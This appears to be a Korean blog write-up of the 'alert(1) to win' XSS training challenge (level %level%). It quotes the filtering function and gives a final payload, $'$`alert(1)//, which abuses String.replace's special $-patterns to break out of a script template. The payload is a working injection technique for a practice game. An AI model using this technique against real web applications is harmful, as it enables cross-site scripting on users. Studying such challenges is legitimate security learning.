Web hacking/alert(1) to win

[alert(1) to win] - %level% - 191206

WS-_K 2019. 12. 6. 22:58

0. 문제

 

// submitted anonymously
function escape(s) {
    const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
    const userTemplate = '<script>let some = %userData%</script>';
    return userTemplate.replace(/%userData%/, userInput);
}

 

 input 값중에 '<,>'를 필터링하고 

 

 '<script>let some = %userData%</script>' 에서 replace로 %userData%와 userInput을 치환한다.

 

 

1. 풀이

 

 를 이용하여 userInput에 해당 Pattern을 넣어서 payload를 만들어주면 끝

 

 

최종 payload : 

 

$'$`alert(1)//